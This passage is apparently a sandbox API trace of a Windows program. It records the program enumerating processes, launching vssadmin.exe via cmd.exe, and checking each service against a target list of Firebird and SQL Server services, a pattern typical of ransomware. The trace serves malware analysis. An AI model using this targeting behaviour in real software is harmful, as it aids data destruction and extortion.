lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0047.532] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0047.532] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0047.532] lstrlenW (lpString="edited.exe") returned 10 [0047.532] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0047.533] lstrlenW (lpString="custody.exe") returned 11 [0047.533] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0047.533] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0047.533] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0047.533] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0047.533] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0047.534] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0047.534] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0047.534] lstrlenW (lpString="radius.exe") returned 10 [0047.534] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0047.534] lstrlenW (lpString="extensions.exe") returned 14 [0047.534] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0047.534] lstrlenW (lpString="desperate.exe") returned 13 [0047.535] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0047.535] lstrlenW (lpString="professor-mo.exe") returned 16 [0047.535] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0047.535] lstrlenW (lpString="guidance.exe") returned 12 [0047.535] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0047.535] lstrlenW (lpString="week.exe") returned 8 [0047.535] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0047.536] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0047.536] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0047.536] lstrlenW (lpString="sn featured.exe") returned 15 [0047.536] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0047.536] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0047.536] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0047.537] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0047.537] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0047.537] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0047.537] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0047.537] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0047.537] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0047.537] lstrlenW (lpString="mobsync.exe") returned 11 [0047.538] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.538] lstrlenW (lpString="cmd.exe") returned 7 [0047.538] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.538] lstrlenW (lpString="conhost.exe") returned 11 [0047.538] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0047.538] lstrlenW (lpString="vssadmin.exe") returned 12 [0047.538] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0047.539] lstrlenW (lpString="VSSVC.exe") returned 9 [0047.539] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.539] lstrlenW (lpString="svchost.exe") returned 11 [0047.539] Process32NextW (in: hSnapshot=0x36c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.539] CloseHandle (hObject=0x36c) returned 1 [0047.539] Sleep (dwMilliseconds=0x1f4) [0048.186] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298080 [0048.203] EnumServicesStatusExW (in: hSCManager=0x3298080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0048.206] GetLastError () returned 0xea [0048.206] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x53a0068 [0048.206] EnumServicesStatusExW (in: hSCManager=0x3298080, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x53a0068, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x53a0068, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0048.207] CloseServiceHandle (hSCObject=0x3298080) returned 1 [0048.207] lstrlenW (lpString="Appinfo") returned 7 [0048.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.207] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.207] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.207] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.207] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.207] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.207] lstrlenW (lpString="AudioSrv") returned 8 [0048.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.207] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.207] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.207] lstrlenW (lpString="BFE") returned 3 [0048.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.208] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.208] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.208] lstrlenW (lpString="CryptSvc") returned 8 [0048.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.208] lstrlenW (lpString="CscService") returned 10 [0048.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.208] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.208] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.208] lstrlenW (lpString="DcomLaunch") returned 10 [0048.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.208] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.208] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.208] lstrlenW (lpString="Dhcp") returned 4 [0048.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.209] lstrlenW (lpString="Dnscache") returned 8 [0048.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.209] lstrlenW (lpString="DPS") returned 3 [0048.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.209] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.209] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.209] lstrlenW (lpString="eventlog") returned 8 [0048.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.209] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.209] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.209] lstrlenW (lpString="EventSystem") returned 11 [0048.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.209] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.209] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.209] lstrlenW (lpString="gpsvc") returned 5 [0048.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.209] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.210] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.210] lstrlenW (lpString="iphlpsvc") returned 8 [0048.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.210] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.210] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.210] lstrlenW (lpString="LanmanServer") returned 12 [0048.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.210] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.210] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.210] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.210] lstrlenW (lpString="lmhosts") returned 7 [0048.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.210] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.210] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.210] lstrlenW (lpString="MMCSS") returned 5 [0048.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.210] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.210] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.211] lstrlenW (lpString="MpsSvc") returned 6 [0048.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.211] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.211] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.211] lstrlenW (lpString="Netman") returned 6 [0048.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.211] lstrlenW (lpString="netprofm") returned 8 [0048.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.211] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.211] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.211] lstrlenW (lpString="NlaSvc") returned 6 [0048.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.211] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.211] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.211] lstrlenW (lpString="nsi") returned 3 [0048.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.211] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.211] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.211] lstrlenW (lpString="PcaSvc") returned 6 [0048.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.212] lstrlenW (lpString="PlugPlay") returned 8 [0048.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.212] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.212] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.212] lstrlenW (lpString="Power") returned 5 [0048.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.212] lstrlenW (lpString="ProfSvc") returned 7 [0048.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.212] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.212] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.212] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.212] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.212] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.212] lstrlenW (lpString="RpcSs") returned 5 [0048.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.213] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.213] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.213] lstrlenW (lpString="SamSs") returned 5 [0048.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.213] lstrlenW (lpString="Schedule") returned 8 [0048.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.213] lstrlenW (lpString="SENS") returned 4 [0048.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.213] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.213] lstrlenW (lpString="Spooler") returned 7 [0048.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.214] lstrlenW (lpString="swprv") returned 5 [0048.214] lstrcmpiW 